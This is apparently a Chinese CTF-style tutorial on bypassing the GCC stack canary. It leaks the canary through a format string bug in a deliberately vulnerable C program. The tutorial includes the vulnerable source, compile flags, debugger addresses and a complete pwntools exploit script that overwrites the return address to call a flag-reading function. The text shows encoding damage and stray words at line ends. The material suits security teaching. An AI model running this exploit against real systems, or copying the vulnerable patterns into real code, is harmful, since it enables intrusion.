1.1 canary內存保護機制
1.1.1 canary工做原理
canary保護機制相似於/GS保護機制,是Linux下gcc編譯器的安全保護機制之一,在棧中的結構以下圖所示:linux
在函數初始化的時候回初始化一個隨機的canary值置於緩衝區的末端,在函數返回以前會對canary的值進行驗證,無誤則正常返回。安全
1.1.2 經過格式化字符串漏洞繞過canary
⑴.原理分析:
由於經過格式化字符串漏洞能夠實現任意內存的讀寫,並且,在一個程序裏,不一樣函數在運行中使用的canary值是相同的,因此能夠經過對格式化字符串漏洞的利用,將canary的值讀出來,實現緩衝區溢出攻擊後(控制RET地址),在函數退出驗證前再將canary 的值填回棧中,經過驗證明現函數的正常返回。函數
⑵.環境準備:
i.存在格式化字符串漏洞的程序: 測試
#include <stdio.h>spa
#include <unistd.h>插件
void getflag(void) {debug
char flag[100];指針
FILE *fp = fopen("./flag", "r");調試
if (fp == NULL) {blog
puts("get flag error");
}
fgets(flag, 100, fp);
puts(flag);
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void fun(void) {
char buffer[100];
read(STDIN_FILENO, buffer, 120);
}
int main(void) {
char buffer[6];
init();
scanf("%6s",buffer);
printf(buffer);
fun();
}
ii.測試環境:
測試平臺linux debian 7
攻擊腳本編寫模塊:pwntools。
輔助調試插件:gdb-peda
iii. 編譯命令:
gcc -m32 -g -z execstack -fstack-protector-all -o print_canary.c print_canary
⑶.調試分析:
i. 查看保護機制:
能夠看到只有canary保護機制是成立的。
ii.找到存在緩衝區溢出漏洞的函數的canary值地址:
能夠看到位於canary的值位於[ebp-0xc]=0xffffd27c處,
iii. 找到緩衝區起始地址:
參數arg[1]的值爲緩衝區的起始地址:0xffffd218。
iv.肯定返回地址指針:
返回地址位於:0xffffd28c。
⑷.攻擊過程:
i.攻擊思路:
咱們的目的經過格式化字符串漏洞獲得canary值,在實現緩衝區溢出攻擊後控制fun函數的返回地址,執行getflag函數讀取當前目錄下的flag文件,在溢出的時候要將獲得canary值準確的填入它原來的位置。
ii.獲得getflag函數的地址:
Getflags函數地址爲:0x5655572d。
iii.計算緩衝區大小;
由上面的調試分析可知:
緩衝區大小等於緩衝區結束的地址0xffffd27c - 0xffffd218 = 100(字節)。
iv.分析棧使用狀況:
v.編寫攻擊腳本實現攻擊:
from pwn import *
context.log_level = 'debug'
cn = process('./print_canary')
cn.sendline('%7$x')
canary = int(cn.recv(),16)
print hex(canary)
cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x5655572d))
flag = cn.recv()
log.success('flag is:' + flag)
攻擊結果:
成功。